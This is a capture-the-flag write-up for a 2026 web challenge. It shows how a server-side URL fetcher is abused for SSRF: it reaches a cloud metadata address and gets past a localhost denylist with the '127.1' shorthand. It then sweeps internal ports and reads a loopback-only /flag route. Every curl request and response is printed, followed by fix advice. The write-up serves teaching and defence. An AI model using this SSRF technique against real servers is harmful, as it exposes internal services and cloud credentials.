SKIP TO MAIN CONTENT

[ EST. 2024 / INTERNATIONAL ]

SECURITY RESEARCH COLLECTIVE

SECURITY RESEARCH KNOWLEDGE TECHNIQUES
EVENT: Safaricom PwnZone 2.0 Qualifiers 2026CATEGORY: WebPOINTS: 300 PTS

Inside Job

AUTHORED BY:@bealthguy10/5/2026

Inside Job: Web

What the challenge was

A dispatch console with a URL fetcher. The page sent JSON such as {"url": "..."} to /api/fetch and rendered the fetched headers and preview. The surrounding text stressed things meant to stay inside and files already in place, which pointed at server-side fetching as the entry path.

Initial recon

The fetcher was tested with a public address:

ffcurl -s -X POST -H 'Content-Type: application/json' -d '{"url":"http://example.com/"}' http://54.72.82.22:8080/api/fetch
{"status_code":200,"preview":"<!doctype html>...Example Domain...</html>\n",...}

External fetching worked. Loopback was then attempted directly:

ffcurl -s -X POST -H 'Content-Type: application/json' -d '{"url":"http://127.0.0.1/"}' http://54.72.82.22:8080/api/fetch
{"error":"url blocked by policy"}

The same occurred for localhost, so a denylist was in place. A metadata address was not denied:

ffcurl -s -X POST -H 'Content-Type: application/json' -d '{"url":"http://169.254.169.254/"}' http://54.72.82.22:8080/api/fetch

That returned metadata content, confirming both that the server performed the fetch and that the policy was string-based rather than a full network guard.

The path

Numeric and shorthand loopback forms were tested, since these usually evade naive substring checks. The 127.1, decimal, and hex forms were not blocked by policy; they failed only when nothing was listening on the probed port, which showed the request was actually being issued:

ffcurl -s -X POST -H 'Content-Type: application/json' -d '{"url":"http://127.1/"}' http://54.72.82.22:8080/api/fetch
{"error":"fetch error: HTTPConnectionPool(host='127.1', port=80)..."}

Common internal ports were then swept through that bypass. Port 8000 returned the same dispatch page, the application itself, and most ports refused. Port 9000 stood out with a different server banner:

ffcurl -s -X POST -H 'Content-Type: application/json' -d '{"url":"http://127.1:9000/"}' http://54.72.82.22:8080/api/fetch
{"headers":{"Server":"BaseHTTP/0.6 Python/3.11.16"},"preview":"Not found","status_code":404}

A separate internal HTTP service was listening only on loopback. Probing its paths, /flag answered:

ffcurl -s -X POST -H 'Content-Type: application/json' -d '{"url":"http://127.1:9000/flag"}' http://54.72.82.22:8080/api/fetch
{"headers":{"Content-Type":"text/plain; charset=utf-8","Server":"BaseHTTP/0.6 Python/3.11.16"},"preview":"safctf{9f3a458f3a26e6372b5b5467e3e51edf}","status_code":200}

The exploit

The 127.0.0.1 / localhost denylist is bypassed with the equivalent 127.1, which reaches the loopback-only service:

ffcurl -s -X POST -H 'Content-Type: application/json' -d '{"url":"http://127.1:9000/flag"}' http://54.72.82.22:8080/api/fetch

Response:

{"preview":"safctf{9f3a458f3a26e6372b5b5467e3e51edf}","status_code":200}

No file read or cloud-credential path was required. The fetcher served as the proxy into the internal network, and the internal /flag route held the secret.

The flag

safctf{9f3a458f3a26e6372b5b5467e3e51edf}

Notes on method

The early blocked responses were useful because they distinguish policy denial from connection failure. Once 127.1 produced a connection error instead of a policy error, the remainder was port enumeration. Treating that difference as the signal and proceeding directly to internal ports is the efficient ordering. The fix is to deny by resolved address range rather than by substring, to forbid loopback and link-local destinations at the egress layer, and to require authentication on internal services even when bound to loopback.